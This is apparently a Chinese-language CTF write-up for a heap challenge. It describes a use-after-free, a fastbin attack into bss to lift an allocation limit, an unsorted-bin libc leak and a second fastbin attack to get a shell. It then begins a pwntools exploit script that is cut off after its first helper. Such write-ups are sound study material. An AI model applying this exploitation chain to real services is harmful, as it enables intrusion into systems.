查看程序保护。
分析程序,漏洞在free之后指针没置0,导致uaf;堆的分配大小做了限制0x50该变量在bss段上,刚好bss段上存放了用户名信息,所以先考虑在bss上伪造堆块,进行一次fastbinattack,分配到bss段,修改限制大小,去掉限制之后就是常规操作了,unsortbin泄露libc,再进行一次fastbinattack,getshell。
from pwn import *
io=remote('xx.xx.xx.xx',xxxxx)
libc=ELF('./libc-2.23.so')
def add(size,data):
io.recvuntil('4. exit\n')
io.sendline('1')
io.recvuntil('heap_size?')
io.sendline(str(size))
io.recvuntil('heap_content?')
io.send(data)
def free